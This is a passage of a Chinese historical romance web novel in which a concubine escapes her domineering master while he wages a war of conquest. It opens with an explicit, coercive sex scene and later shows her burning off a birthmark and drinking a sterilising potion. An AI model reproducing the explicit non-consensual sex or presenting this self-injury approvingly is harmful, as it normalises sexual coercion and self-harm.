更不想被仆妇婆子们推着哄着逼着喊她去承宠,去讨好夫主。 林蓉待在裴瓒身边, 她逆来顺受,她能反抗的、能做的事真的好少好少。 倘若林蓉真的生下孩子, 她便要一辈子困在这一座宅子里了。 她要逃出去,她不能留下。 林蓉不会有子嗣,她不会生下任何裴瓒的孩子。 …… 林蓉怔怔无言,直到裴瓒也洗净了身子, 将她拥回铺满了兽皮毯子的软榻上。 待裴瓒那一具肌理遒劲的躯膛覆下,林蓉终是忍不住瑟缩地塌腰。 没等她逃跑,薄胎白瓷一般的脚踝,便被一只温热的掌腹握住。 裴瓒没有半分留情,他用尽了狠劲儿,将林蓉硬生生拽回了腰间。 “林蓉,别惹我。” 裴瓒目光不善,好心劝告一句。 随即,他牵引她屈膝盘身,好好缠着他。 林蓉无处可逃,她只能无措地抬腿,攀上裴瓒的蜂腰。 女孩细密的雪睫不住颤抖,汗洽股栗,任裴瓒那双寒漠长目,如鹰瞵鹗视一般,由上至下,仔细逡巡她。 林蓉喝了药,驱了寒,脸上不施粉黛,素着一张清水脸子,并没有生病。 只她无论几次行房,每回都怕得很,不是腿肚子发抖,便是藕臂僵硬。 林蓉能感到小少爷剑拔弩张地靠近。 林蓉不再自讨苦吃,自然竭力收容,半点怨言都不敢有。 只是林蓉眼中慌乱无措,偏裴瓒坦诚相待,她看哪处都觉冒犯,实在不知道自己应该看些什么。 一抬眸,林蓉瞥见裴瓒线条优雅的下颌、清凌凌的喉结,桃核儿一般,藏在薄皮底下鼓噪。 许是裴瓒受用,男人漂亮的眉眼低下。 一滴热汗落到林蓉的眼尾,烫得她呼吸渐重。 林蓉意识有点迷乱,她的纤指蜷曲,抓得身下虎皮兽纹愈发狰狞。 她连同那些软毯子一起皱成一团,含香吐蕊。 被男人吞噬殆尽。 许是出于报复心理,林蓉不知为何,竟仰头咬上裴瓒的嶙峋喉结。 那一块独属于男人的喉骨硬邦邦的,被她缠在舌下轻舔细舐。 女孩又用饱满的唇瓣抿着、吮着,裹缠到温热的唇腔之中。 大约是林蓉第一次意乱情迷,主动亲吻。 无非是几个吞咽的小动作,竟让裴瓒的呼吸粗重,凤眸赤红。 他死死掐住林蓉的细腰。 几欲要将她拧成齑粉。 如此狂恣地将林蓉摁回胯上。 林蓉呼吸不畅,好似血肉一块不剩,都要被裴瓒咬噬蚕食。 不过眨眼功夫,她的樱唇又被裴瓒堵住了。 裴瓒冷目微眯,游刃有余地吻她。 他下嘴咬她,似是回敬林蓉方才的僭越。 裴瓒故意用齿关叼着她的软唇,勾出她的丁香小舌,肆意推弄、绞缠,上瘾似的、时重时缓地吮吻。 裴瓒亲得太深了,两人气息交缠在一块儿,难舍难分。 没等林蓉从这样燥热、窒闷、潮湿的囚笼里逃脱。 裴瓒食髓知味,舍下她早已红肿不堪的唇,舔着她的下颌,一路往窄窄细细如月牙的锁骨而去。 林蓉忍受那些时而狎昵时而温吞的吻。 她压抑呼吸,以及那些情动时释出的娇吟。 她无力抵抗,只能任裴瓒予取予求,直至裴瓒心软一瞬,大发慈悲松开她皮肉细嫩的肩颈。 林蓉浑身热淋淋的,俱是二人汇流融合的汗水唾津。 也是这时,她终于看明白了,裴瓒的颈子上,留有一个染血的牙印。 而她被裴瓒欺身抵着,肆无忌惮地交颈。 如此无度索取,林蓉的长颈、嘴角、胸口,凝脂雪肤上全是错落狼狈的吻痕齿印…… 自此,林蓉总算明白了一件事,裴瓒睚眦必报。 她这算是杀敌一千自损八百,裴瓒不会让她讨到任何好处。 …… 裴瓒出了三回,犹嫌不够。 林蓉几乎要疯了。 她咬紧后槽牙,眼泪一滴滴往下掉。 “大少爷,住手。” “真的不成……” 偏裴瓒性子霸道,还要勉力而为。 他摁住了林蓉乱挣的腿。 “这才多少……林蓉,切莫妄自菲薄。” 每当裴瓒恶意冲犯,林蓉就要皱眉呜咽。 细细如同小猫崽子一般的啜泣,哭得裴瓒头疼。 男人瞥去一眼,那些秽物全剩在榻上,濡了一片。 实在令人心情不快。 裴瓒凤眸暗沉,冷嗤一声。 咽不进去便吐出半数,倒是娇气得很。 待裴瓒弄到天光微亮,他总算愿意停手。 林蓉已经精疲力尽,她软在裴瓒怀中,连句话都说不出来。 倒是裴瓒餍足,谈兴很高。 帐中尽是靡丽的香气,裴瓒半阖那双深秀凤眸,尾音惫懒地道:“从前我就想问,既你如此畏惧,为何要在那夜承了云雨?” 林蓉一点既透,猜到裴瓒说的是送茶那一次。 她倒是想说,是他自己强行拽她过去的,她只是不敢反抗主家,加之裴瓒在儿时救过她一命……她帮他解药,这样就算恩怨两偿。 除此之外,旁的情谊,半分都无! 不等林蓉开口,裴瓒又道了句耐人寻味的话。 “林蓉,是你主动撞上门,是你命里该有一劫……怨不得我。” 林蓉胸口窒闷,又对裴瓒的强词夺理毫无办法。 林蓉心知肚明,大少爷生性霸道强横,他自有法子自圆其说,他不会容她逃避半分! 裴瓒不过拥着林蓉睡了两个时辰,便起身穿衣出了羊皮毡帐。 这次的猎宴,各家各院都有带来小丫鬟,帐中的狼藉自有婆子前来收拾,林蓉受累,只管自己闭眼入睡就是了。 今天山中还有狩猎比试,但林蓉身体不适,并未在旁观赛。 吴念珍做戏做得很足,她知道昨天让林蓉受惊,中午特意提着芭蕉叶包着的烤肉,前来探望受冻昏睡的林蓉。 这次看守帐篷的丫鬟婆子是冯叔派来的,无论何人叨扰,她们都不会随意放行。 小丫鬟拦住吴念珍,道:“吴小姐,请容奴婢进帐禀报一番。” 吴念珍被一个下等丫鬟拦路,心中憋闷,但她知道,此处戒备森严,保不准会有裴瓒留下的耳目,她不敢轻举妄动,只能僵笑着,任由小丫鬟进帐传话。 林蓉知道吴念珍来了,良久无言。 她想到昨晚裴瓒说要让她怀子的疯言疯语,即便闹了那样久,也不许她即刻起身清理,更不允她服下避子汤药……心中有了一个决断。 “放吴小姐进来吧,只她一人就好,旁人莫要入内……还有检查一下她有没有随身携带锐刃,便是发间珠钗,也要取下来。” 小丫鬟知道林蓉这是忌惮吴念珍,害怕她藏了凶器。 小丫鬟忙道:“林姨娘放心,奴婢是冯叔的人,决不会让那些闲杂人等伤姨娘一根汗毛!” 林蓉笑了下:“多谢你,只是搜身以后,你们离远一些,别让旁人入内。既是吴小姐害我落水,不论如何,她也应该给我道一声歉。我是妾室,倚仗大都督的宠爱而活,她治不了我……可你们不一样了,好歹吴小姐是日后裴家的当家主母,得罪太过,又见着了她的窘态,往后宅院行走,恐怕有小鞋穿。” 小丫鬟到底年轻,听得林蓉推心置腹的一番话,更觉得姨娘亲善和蔼,她连连点头:“多谢姨娘提点。” 如此搜身一番,吴念珍总算满脸怨气地进了帐篷。 她深吸一口气,想到昨晚裴瓒的怒容,又挤出一个笑容,唤了一声“林妹妹”。 林蓉故意抚了抚锦被下的小腹,对吴念珍轻声道:“昨晚,大都督允我生下庶长子了。” “林蓉!”仅此一句,竟让吴念珍所有伪装出的涵养姿态,悉数破功。 林蓉拉她:“小声些,以免帐外有人听到,误会吴小姐在此地闹事。” 吴念珍回过神来,小心打量门帘外的身影,见人走远,才崩溃切齿:“你是故意来耀武扬威的?!倒是个奸的,你当真以为我身为主母,日后进了家宅,发落不了你?!” 林蓉摇摇头,她拉过吴念珍,与吴念珍附耳道:“我知道,我已经令吴小姐感到不安。若没有我,单凭吴小姐的姿色,定能虏获大都督的心……” 吴念珍脸上阴晴不定,她低头看了一眼林蓉,此女仍是清清淡淡、娇娇弱弱的眉眼。 吴念珍闹不明白林蓉的想法,只蹙眉问她:“你究竟想怎样?” 林蓉没有说话,她用极简单的字眼,在吴念珍掌心写下:若我出逃,吴小姐定能被大少爷独宠。 吴念珍震惊到失语,甚至在想林蓉故意说这番话,是否设下了什么圈套。 因她不懂,裴瓒位高权重,生得又是俊秀不凡,林蓉能得裴瓒椒房之宠,还有何不满足? 但林蓉不管吴念珍怎么想,她只继续在吴念珍掌心写下:为我备好银两、男子衣物、车马、路引、假的身帖,我自会离开南地,把大少爷让给你。 吴念珍心中一动,她当然知道林蓉主动退出是一件多好的事。 但吴念珍不蠢,生怕她前脚刚送人离开,后脚林蓉就跑去和裴瓒告状,说吴念珍一门心思针对宠妾,硬是将林蓉送出南地,从而搅黄了吴裴两家的婚事。 吴念珍心计飞转,她想到了互惠互利的办法。 “林蓉,我不信你……除非你能给我一个许诺。” 林蓉知道她想要的许诺是什么,无非是见不着兔子不撒鹰。 对于后宅女子来说,最要紧的便是子嗣。 妻凭子贵,这句话绝非说说而已。 林蓉垂眼,在吴念珍的手心,继续写道:绝子药,你备好,我会饮下。 林蓉表了决心,在她逃生那日,她和吴念珍以物换物。 吴念珍可以备下一碗绝嗣汤药,她会当着吴念珍的面饮下。如此自断生路,只求出逃。 吴念珍久久无言,她实在想不到,林蓉为了逃跑,竟能做出如此牺牲! 但这是一本万利的买卖! 只要吴念珍盯着林蓉饮下绝嗣药,再送她一些银两车马,助她出逃,即便林蓉半路被裴瓒抓回来,她也只是一个一生都无法怀上子嗣的宠妾。 有宠无子,林蓉就掀不出什么风浪! 如此一来,心腹大患便尽可铲除。 吴念珍心动了,她忍住欢喜,对林蓉笑道:“好,我帮你。这可是你自己讨要的,你莫后悔。” 林蓉摇头:“我不会后悔,多谢吴小姐襄助。” 林蓉无比确定,比起不知何时怀上子嗣,一生受困后宅。 她更想终生不育,只求一朝出逃…… 林蓉是自由的,她不能被任何人关进后院,身陷无间地狱,永世不得超生。 无论如何,她都要离开裴瓒,逃出他亲手铸造的那一只囚雀金笼。 40-50 第41章 半个月后, 北地魏室。 大皇子陈文晋于逼宫一战中获胜,他卧薪尝胆多年,私练兵马, 筹谋国事,在秦王轻敌攻城的那日, 率军反击, 终将秦王斩于剑下。 逆党已诛, 二皇子已死, 裴贵妃被囚,依照大行皇帝的遗诏,自该由陈文晋登基即位。 是年, 陈文晋延用先皇国号“魏”朝,又开创年号“熙正”。 陈文晋独揽大权的那一日, 他做的第一件事便是追谥生母沈氏为“德惠皇太后”, 并与元庆帝合葬皇陵。 陈文晋等了二十多年, 他终于等到问鼎这一日。 可他失怙失恃, 已成孤家寡人。 陈文晋至今记得, 少时他没有母亲照看, 受尽欺辱。 宫人见风使舵, 连皇嗣的份例也敢贪墨,甚至是私吞陈文晋的烟炭吃食。 可陈文晋为了在宫中有个通风报信的内侍, 只能睁一只眼闭一只眼,装懵懂无知, 悄悄掩下此事。 那时的陈文晋,心中最羡慕的人,便是他的二弟陈逸山。 陈逸山有生母裴贵妃关照,也有元庆帝疼爱, 他无忧无虑,所有人都将他奉为掌中珍宝。 陈逸山不过写一幅字,绘一卷丹青,就能得元庆帝的夸赞,而陈文晋为了讨父皇一句夸奖,大冷天还要临窗敛袖,悬腕绘画,只为画出那一张元庆帝最喜欢的雪景。 第二天,他用一双冻红了的小手,兴冲冲捧着那幅雪梅工笔画,进献给父亲。 然而元庆帝正与裴贵妃逗趣,无瑕顾及陈文晋。 陈文晋无措地站在一旁,听着元庆帝笑着赞许陈逸山纯善孝顺,竟知道把初冬的第一枝雪梅折下,送到父皇面前。 陈文晋抱着那一卷画,局促不安地等待,可直至最后,元庆帝也没有摊开他的画卷欣赏,至多眼风一瞥,赞他一句“你有心了”。 倘若不是元庆帝临终之前,揽过陈文晋的手,告诉陈文晋,原来他一直关爱长子,甚至愿意将皇位传给嫡长子。 恐怕陈文晋一辈子都不知,原来他曾得过父亲的偏疼。 哪怕元庆帝曾流露出一分关怀之意,陈文晋也不至于妒恨二弟到一心要杀他的地步。 可元庆帝的疼爱来得太迟了…… 陈文晋不明白的事情太多了。 他不知道,父爱是否能藏得这般不留痕迹,但他知道,至少元庆帝在死前,将最要紧的权势以及江山社稷,传到了他的手上。 此为君父的偏爱,陈文晋要守住。 陈文晋想到了失守的南地六州,想到了那个狼心狗肺到连家人都能舍弃的六州总督裴瓒。 陈文晋沉沉闭眼,目露杀意,召来昭勇将军徐康玮,授予印绶,挂帅南征。 “徐将军,你定要竭尽全力,守住冀州以南的剑门关。” 陈文晋心知,裴瓒有不臣之心,如想窃国,必定北上攻城,直取冀州。 冀州虽贫瘠荒芜,却是魏国襟喉要塞,不能落到裴瓒手中。但陈文晋不知裴瓒兵马军情,总得迎战一次,试探敌军底细。 而徐康玮昔日曾任江州军所都指挥使,与裴瓒有师生之谊,甚至指点过裴瓒枪法剑术…… 眼下裴瓒叛国篡位,连带着徐康玮也处境尴尬,被朝堂各党排斥,疑心他是裴党官吏。 如今,君王肯委以重任,命徐康玮率军守城,何尝不是给徐康玮一个“表忠心”的机会? 徐康玮没有沦为弃子,陈文晋信赖他,竟将如此要务交付于他的肩臂。 徐康玮感激涕零,老将涕泪横流,抱拳跪地,请缨道:“裴瓒不过一江州小儿,昔日追随微臣,也只学了些军策武斗的皮毛。如今此子侥幸夺权,看似强悍,实则不堪一击,这等只敢龟缩南地的鼠辈,实在不足为惧!陛下放心,臣等定不负陛下所望,誓将江州裴瓒屠戮于剑门关外,用竖子的骨血祭旗!” 战事在即,冀州一有异动,紧邻冀州的常州,便有斥候队伍传来军情消息。 裴瓒收到战报,了然阖目。 他调派官吏守住六州,又亲自点将调兵,率军北上。 临行前,裴瓒叮嘱冯叔照看林蓉,没他吩咐,不能允林蓉肆意出府。 倘若林蓉在府上憋闷,由丫鬟婆子陪同,一月可以出去二回,再多就不行了。 家中诸事都安排妥当,裴瓒领兵围攻冀州。 裴瓒深谙兵法,在用如蝗箭阵、金汁水攻、云梯木驴等军械兵策破城之后,又故意放出一条生路,供身陷重围的敌军慌乱窜逃,奔出城外,以此来削弱敌方的士气。 远处的城墙被连天烽火焚烧,浓烟滚滚,硝烟弥漫。 城楼的石缝里布满发黑的血迹,悬挂着一具具断臂折骨的兵卒尸首,瞭望塔上插满了横七竖八的断箭,更有传讯助战的长翅黑隼于苍穹盘旋,为裴瓒助势。 随着成千上万的裴家兵马攻入城池,天尽头传来呼啸入云的宣战号角。 呜——! 一声声高亢嘹亮的哨声撼耳,鼓角齐鸣,震天动地。 徐康玮手持长枪,持缰骑马,他眼见着麾下军将乱成一盘散沙,心中凄凉无比。 也是此刻,他终于明白裴瓒的促狭之意。 方才裴瓒破城之后,并未围城赶尽杀绝,而是故意纵兵卒叛逃,也好瓦解徐康玮这边的军将士气。如此便能舍小弊,谋大利,围剿多数敌军……此计,名为“围城必阙”,是徐康玮初识裴瓒的时候,教给他的第一计战术。 裴瓒故意效仿此计,其目的也是为了羞辱徐康玮。 裴瓒想告诉昔日恩师——他这人“重情重义”,往日种种,皆未忘却。多谢徐康玮从前授业解惑,才能将他养成这般经天纬地的军事全才。 “裴瓒!!”徐康玮噗的喷出一口老血,他的老眼赤红,几乎要被裴瓒的不知廉耻气到落马。 鏖战近乎一个月,徐康玮早已精疲力尽,不堪一战。 陈文晋派给徐康玮的兵力不过一万,区区一万人马,如何能敌裴瓒操练多年的十万精锐之师…… 徐康玮有负君王所托,他竟没能守住冀州! 徐康玮睚眦欲裂,几欲呕血,他死死盯着策马奔来的高大身影,胸臆腾腾杀气暴涨,杀心如潮涌至。 “裴瓒,受死!” 徐康玮奋力一夹马腹,猛冲而出。 不过一个错身,徐康玮手中红缨长枪一挑,竟转腕横扫,直逼裴瓒面门而去。 满城火光融入那柄锋锐长枪,照出一片灼灼银芒。 敌将的利刃呼啸袭来,倒映裴瓒一双寒冽如冰的凤眸,裴瓒目力敏锐,不过下腰伏低,肩贴马背,便身法极快地从粼粼长枪下躲闪而过,险中逃生。 不等徐康玮再次屈肘,扫来杀招,裴瓒又一弹指,以虎口震开剑鞘,一把深寒长剑应势而出。 清越高扬的剑吟骤起,响彻云霄,骇人耳目。 不过一个晃神,徐康玮已被裴瓒袭来的凛冽剑风袭中,腰腹皮开肉绽! 裂帛声震耳发聩,徐康玮腰下泛起剧痛,他低头一看,竟是甲胄散开,血液淅沥喷溅了一地。 徐康玮败在“徒弟”手上,堪称奇耻大辱。 他忍痛握枪,咬牙再战。 却不防裴瓒刁钻奸恶,竟舍了长剑,取出弓箭。 牛角弯弓在手,裴瓒一袭黑袍轻甲,单腿踏马站起。 随着墨羽扬鬃嘶鸣,裴瓒整个人腾空而起。 男人的衣袍迎风猎猎作响,松针一般的乌发微扬,随着挽弓搭箭的动作,肩颈上的坚实肌肉爆开,下颌几道青筋鼓动。 裴瓒神色沉静,用了十成力气,将这支黑羽箭朝前暴戾射出! “嗖——!” 只听得一声气势雄浑的尖利呼啸,箭矢没入战马头颅,又从马臀直刺而出。 一道血线弥散,战马跌地,连带着马上的徐康玮也滚进了滚滚风沙之中。 徐康玮口吐鲜血,双膝伏地。 他仰头望去,只见裴瓒目寒如潭,执剑踏来。 “你赢了,要杀要剐,悉听尊便。”徐康玮已落下风,没有一战之力。 裴瓒缓步走近,嗓音清冷:“徐将军,你可知陛下为何要派你来前线御敌?” 徐康玮深知裴瓒生得七窍玲珑心,最擅言辞挑唆,他不听他诡辩,闭眼冷声:“自是对我委以重任,盼我斩下你的人头!” “倒是愚钝……陈文晋派你迎敌,无非是知你我此前有过师徒之谊。” 裴瓒语带嘲讽,轻轻勾唇,“若你不敌,被我屠戮冀州,加之我舍弃裴氏嫔妃……在世人眼中,裴某便成了那等弑亲屠师的乱臣贼子。” 如此一来,陈文晋是个重情重义的好君王,他乃民心所向,众望所归,而裴瓒心狠手辣,无恶不作,自要沦为众矢之的。 陈文晋无非是想污了裴瓒声名,也好让世人唾骂裴瓒,来日即便攻入京师,亦是贼子起事,名不正言不顺。 徐康玮被裴瓒的三言两语怔住。 他难以想象,自己效忠的君王,为了给裴瓒多添一个忘恩负义的弑师罪名,竟还藏了这样一道谋算。 陈文晋一心要送徐康玮去死,也好为裴瓒日后起事,添些一番舆情阻力。 不过一句奸佞骂名,竟也要赔上徐康玮的性命吗? 难道陈文晋从来没有信过他?陈文晋能弃他如敝履,无非疑心徐康玮真的可能是裴党官吏。 与其将裴瓒的耳目留在京中,倒不如送徐康玮去死! 如若徐康玮想要保全京中一家老小,便要与裴瓒结下死仇,以“为国捐躯”来自证忠心,方能取信于君王! 徐康玮唯有死路一条! 他想到京中刚出生的嫡长孙,想到刚娶妇的幺儿,心慌意乱。 徐康玮不信裴瓒所言:“满口胡言!” 徐康玮私以为,裴瓒巧言令色,或许只是为了招降他。 可没等徐康玮出声辩驳,那一把长剑,已然无情地贯穿了他的颈骨。 裴瓒腕骨一拧,血花爆开,银鳞甲胄蜿蜒几片落梅。 “你……”徐康玮瞠目结舌,口齿含血,他死不瞑目。 裴瓒竟要杀了他! 裴瓒并不想留他在跟前效力。 “既是君王所赐,裴某莫不敢辞。” 裴瓒抖去剑上血迹,他平静无波地道,“况且,你今日不死在战场,恐会连累你京中父母妻儿一并丧命,倒不如裴某念在昔日师徒一场,送你一场恩典。” “徐将军,安心去吧。既有师徒情谊,我定当赠你一具全尸。” 裴瓒身为主帅,麾下有兵有将,不敢有丝毫疏忽。一朝行差踏错,便是全军覆没。 今日放虎归山,他日倒成害群之殃。 因此,裴瓒心硬,决不会手软,免得落得万劫不复的境地。 至于那些污名骂名…… 裴瓒垂眸,长指捻帕子,慢条斯理地拭剑。 他从来只信奉“胜者为王败者寇”,至于世人攻讦,文臣口诛笔伐,三两句秽语,不痛不痒的,又有何惧? 裴瓒离开庐州已有半月。 前线军事,林蓉了解不多,但为了逃跑需要,她也旁敲侧击从冯叔那里打听到了许多外头的动静。 待冯叔说多了,狐疑看她,林蓉又腼腆一笑:“大少爷离家太久,有些想念,我不过想知道他此战是否大捷,外头的世道乱不乱,会不会有危险……” 冯叔释然一笑,宽慰林蓉:“小夫人放心,大少爷最是骁勇善战,多年来南征北战,平夷斗倭,从未有过败绩!别处如何,老奴不敢说,但咱们南地六州一定是一等一的太平,没人敢在太岁头上动土!” 冯叔知道裴瓒的雄韬伟略,一提起裴瓒便昂首挺胸,与有荣焉。 从冯叔的絮叨里,林蓉也明白了大致的时局情况。 南地六州属于裴瓒的地盘,尚且风调雨顺,没什么战乱发生,但离开了六州,往北边行去,便是魏室皇族的地盘,也离京畿都城最近。 那些藩王宗亲,全都姓陈,他们对“攻下皇城”有着超乎寻常的执念,因他们的根基在那处,唯有独占皇宫,才算真正当上了皇帝。 因此,只要天家打战,全往北地的皇城而去,仿佛占了那一座都城,天下权势才算尽在掌握。 不像裴瓒,他对都城没什么执念。身为一方霸主,裴瓒只想着攻城略地,多占地盘,也好整军经武,平治地方。 但裴瓒若想独占魏国,势必要北上,攻向京畿,如此才能改朝换代,令那些陈氏皇族俯首称臣。 除却裴瓒有此想法,许多地方世家枭雄也在私下里招兵买马,想趁着兵荒马乱的时局,揭竿而起,从乱世中分一杯羹。 因此,魏国从南至北,中部一带最是混乱,常有大小战役发生。 林蓉如要逃跑,最好往东西方向行去,如此便能避开连天炮火,还能保全自个儿的安危。 林蓉以解闷为由,进过裴瓒的书房。 冯叔知道林蓉不大识字,并未对她设防。 实则林蓉私下里又多学了不少字句,她已能看懂各地风俗志以及地方舆图。 林蓉抽出一本《地方志》,记下各地渡口还有路线。 她知道庐州有渡口,能够行水路,去往西地的邵州。 邵州临近魏国边境关隘,气候严寒许多,屋舍大多用黄泥堆垒,境外还有游牧为生的西戎胡人。 邵州接壤南地青州,又不算裴瓒的领地,对于林蓉来说,正正合适。 而且去往邵州的路途大约十天的样子,称不上太远,却极合适藏身。 因此,在吴念珍派人来往裴府递礼佛请柬的时候,林蓉特意给吴念珍的心腹丫鬟传了话—— 她需要前往邵州的路引。 对于吴念珍来说,办一张路引并非难事,无非是花钱去村镇里找个保人,再让保人寻上镇子里正,或是地方官府,说一下离乡的原因,譬如投亲访友,经商游玩,再记下目的地,以及持有路引之人的体貌模样,便能成事。 林蓉想了想,又补上一句:于路引上,可写明我年十八,是六尺身量的男子,肩颈燎疤。 除此之外,林蓉还需要一包迷药、馕饼干粮、钱财,还有一匹马。 林蓉知道吴念珍要去的普陀寺,背靠西山飞瀑,三面环湖,唯有正殿入口连着山径。 林蓉让吴念珍留着迷药,当面交给她,其余的马匹、包袱则留在寺庙后方的大湖对岸,待二人做完“绝嗣汤”的交易后,林蓉自会去取。 近日,庐州的官宦后宅,时兴肤黑貌美的昆仑女奴。还有大户人家的姬妾,为了让夫主尝一口新鲜,特地调制了乌膏胭脂,将全身染成黝黑蜜色,再轻歌曼舞,奉上美酒佳酿,取悦夫主。 林蓉听了丫鬟们的闲谈,心中一动。她出不得门,便让小丫鬟出门买来乌膏,偷偷藏于她的房中。 林蓉:“大都督见多识广,不拿些新鲜本事,恐怕不能讨他的欢心……只是昆仑女奴到底低贱,我不想让人说三道四,此事你万万要保密。” 林蓉开了窍,愿意讨好裴瓒,院中的丫鬟们欢喜还来不及,又怎会坏她好事? 自此,林蓉连遮掩容貌的乌膏都有了。 外出礼佛的前夜,林蓉一人待在屋里出神。 林蓉深思许久,还是解开了上衣,露出了圆润的肩头。 林蓉记得每回房事,裴瓒总喜欢轻吻她肩上的红梅胎记……若是此等印记不除,日后定会被裴瓒抓回。 林蓉叹一口气,还是狠心下了手。 她以火烧肤,毁去那一块梅花红纹。 林蓉忍疼忍得满头大汗,对镜望去,雪肤上生出丑陋的燎疤,肩头没一处好地。 那一朵艳丽的红梅……终是落了。 到了入寺上香,为裴瓒祈福,庇佑大军凯旋那一日,林蓉取来吴念珍送上的迷药,将随行的小丫鬟迷晕在寮房,又藏好身上乌膏、银两,跟着吴念珍的奶嬷嬷,迈入一间空房。 冯叔带来的亲卫守在寺庙门口,为进寺上香的林蓉保驾护航。 冯叔知道林蓉畏水,并未想过林蓉会借环庙大湖出逃,之所以派兵随行,无非是担心吴念珍居心叵测,胆大包天,胆敢对小夫人不利。 因此,裴家的人马军容整肃地守在寺外,以此来震慑吴家奴仆,劝人识时务,切莫一时脑热,铸下大错。 漆黑的寮房里,吴念珍眼神暗示奶嬷嬷,奉上一碗熬好了的绝嗣汤药。 “林蓉,我按照你的要求,备下了绝嗣汤。你一心出逃,不惜断子绝嗣,我便如你所愿。” “你要的马、干粮、银钱、路引、男子衣物,我都备好,也放在湖岸的密林之中……只要你喝下这碗汤药,咱们的交易达成,你也可以远走高飞了。” 吴念珍客客气气说话,她循循善诱,也不过是想催着林蓉饮汤。 林蓉知道,此番出逃,她未必能够逃出生天。 裴瓒手眼通天,保不准没跑多久,便被他抓回牢笼。 但自由的诱惑太大,林蓉宁可死在外头,也不愿像一只雀、一条狗一般,被人拴在后院。 这碗绝子汤药,是林蓉所求。 一旦喝下,她此生再不能孕。 即便日后再被裴瓒抓回,至少林蓉也不会生下孩子,不会被子嗣牵绊。 林蓉知道,若她一直待在裴府,莫说绝嗣汤,便是避子汤药,也很难喝到。 如今一碗汤下去,一劳永逸,很合她心意…… 林蓉凝视汤碗,迟迟不饮。 吴念珍心惊胆战,生怕计划败露,她不免焦急催促:“你在犹豫什么?你是怕我往汤里下毒?” 林蓉摇摇头:“吴小姐不会这般做的……若我被你毒杀,尸首不好处理,寺外又有裴家亲卫镇守,不出半日,你的杀人行踪便会暴露了。” 大夫不蠢,服毒致死和饮用避子汤药,极好查明。 毒杀侍妾,这是和裴瓒结下死仇。 依着裴瓒那等霸道的性子,莫说亲事会不会黄,便是吴念珍这个人能不能留都未可知,毕竟吴家想要和裴瓒联姻,家中又不止一房堂姐妹。 对于吴念珍来说,贸然杀人,弊大于利,不但会惹上夫主不快,还可能让裴瓒真正厌弃她,实在不上算。 吴念珍忌惮林蓉,却又一心想嫁进裴府。 吴念珍只想着生下嫡出子女,在后宅里站稳脚跟,也就是说,林蓉并非吴念珍最大的敌人,林蓉生下的庶长子才是! 吴念珍的确不敢在婚前杀人,惹怒裴瓒,但她可以借机逼林蓉饮下这等损阴骘的绝子汤,以绝后患。 只要林蓉不能生,吴念珍便有更多掌权的机会。 至于林蓉……吴念珍至多只能给她争取到一日的出逃时间。 最差情况,无非是林蓉被裴家兵马抓回后宅。 于吴念珍而言,林蓉被抓后,为了在裴瓒那边固宠,保不准连她自己都会悄无声息瞒下喝了绝子汤的事,又何须吴念珍从旁敲打? 如此一来,吴念珍多了一个林蓉的把柄,又不怕庶出子女从她肚子里爬出来,真真是高枕无忧,世事尽在掌握了。 林蓉闻了闻绝嗣汤的气息,确认碗中只是一份用量极大,能毁人胞宫的避孕汤药。 “吴小姐身旁的这位奶嬷嬷早已儿女双全,连癸水都绝了吧?既是绝嗣汤药,并非毒汤……吴小姐,能否由她小饮一口,我再悉数饮尽?” 避子药材用量过重,才会变成那等损伤孕事的绝嗣汤药。小饮一口,其实并不伤身。 吴念珍没想到林蓉警惕心这般重,她脸色难看,但也无可奈何。 她看了一眼奶嬷嬷:“既然林姑娘如此要求,嬷嬷便喝上一口吧。” 奶嬷嬷白了林蓉一眼,饮下一口汤,骂道:“我们家小姐宅心仁厚,又不可能往里头下药。这下你总满意了?” 林蓉道了句多谢,她没有犹豫,将虎狼之药饮下,咽了个干净。 交易达成。 吴念珍身心愉悦,命人收了汤碗。 吴念珍不再搭理林蓉,径直出门,往大雄宝殿上香去了。 林蓉没敢耽搁,她知道出逃的机会来之不易。 林蓉即刻动身,往寺庙后方那一条建在湖上的游廊行去。 待傍晚的时候,吴念珍下山,冯叔接不到人,定会喊兵马搜山,林蓉的时间不多,得快些行事了。 林蓉将脸颊、四肢都抹上油重色黑的乌膏,还取来能够让她发出敏症、脸上烂疮的草药。 如此遮蔽容貌后,林蓉抬头,望向一望无际的湖泊。 林蓉的身后,传来慈悲佛音,烟熏火燎的浓郁檀香。 她背对佛寺,眺望远方。 湖泊对面,是一片绿意蓊郁的山林,鸟语花香,霞光漫天。 林蓉看着湍急的湖水,没有犹豫,她深吸一口气,潜入水中。 扑通一声响。 转瞬便没了踪迹。 入水的瞬间,林蓉四肢陡然僵直,湖水缓慢灌入口鼻。明明是炎炎夏日,冷意却也侵透周身肌理。 林蓉在湖中沉浮,她心生惧意,双目呆滞。 在这一瞬间,林蓉想到了许多事。 她想到碎霜浮冰的寒潭、落满黑羽箭矢的冷湖、秀致阴冷的男人拥她,温热的薄唇沿着她的雪颈游走,那些暧昧缱绻又血腥味十足的吻,依次落在她的芙蓉小衣里,饱满胸壑上…… 林蓉又想到了少时,她吃过的糖,还有那双按在她头顶不断下压的父亲的手…… 林蓉畏惧、惶恐、腿脚抽搐。 她几乎要溺亡。 可就在这时,林蓉记起那一夜,她迎风骑马,在绿油油的原野中奔跑。 她如一尾鱼、一只鸟,她在天地间翱翔,她无所畏惧,她自由自在。 “不能死在这里啊……” 混沌的湖水中,林蓉睁开了双眼。 她的力气又回到了这一具肉眼凡胎的躯壳。 她忍住腹部的绞痛,忍住肩膀的燎伤,拼死前行,负隅顽抗。 林蓉终于动了,她奋力挥臂,朝前游去! 两刻钟后,林蓉爬上岸,呕出了大堆大堆的湖水。 林蓉的唇齿都是浓郁的药味、湖水的咸涩、以及脾胃被绝子汤灼伤漫上来的一点血腥气。 她心生庆幸,气喘吁吁地瘫在岸边淤泥里。 转头的霎那,她看到了那一匹驮物的骏马。 不知为何,林蓉鼻尖酸涩,眼眶发烫,她手脚并用,拆下包袱,取出男子衣饰。 林蓉白绫束胸,换上干净的直裰、鞋袜,又将浸水的衣裙裹好巨石,砸进湖底。 女孩纵身上马,牵引缰绳,奋力一夹马腹。 就此,那一匹骏马如离弦之箭,迅疾地朝着河岸的另一边,狂奔而出。 林蓉的脸上长痘生疮,奇痒无比,她的小腹生疼,肩颈也刺痛难愈,但这一切伤痛与苦难,全在她能承受的范围之内。 林蓉的湿发被发带束缚,高高扬起。 她策马奔袭,一路朝渡口而去。 林蓉大口呼吸,笑容满面。 终于,她获得自由,得以有一刻喘息。 第42章 冀州失守, 被裴家大军攻下。 可裴瓒掠夺州府的军需辎重,招降纳叛后,却并未派人守城, 接管冀州,反倒是舍城离去。 郑至明得知裴瓒下达鸣金收兵的军令, 